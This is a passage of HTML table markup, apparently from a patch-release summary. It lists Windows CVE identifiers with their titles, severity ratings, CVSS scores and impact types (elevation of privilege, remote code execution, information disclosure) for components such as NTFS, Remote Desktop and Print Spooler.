  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
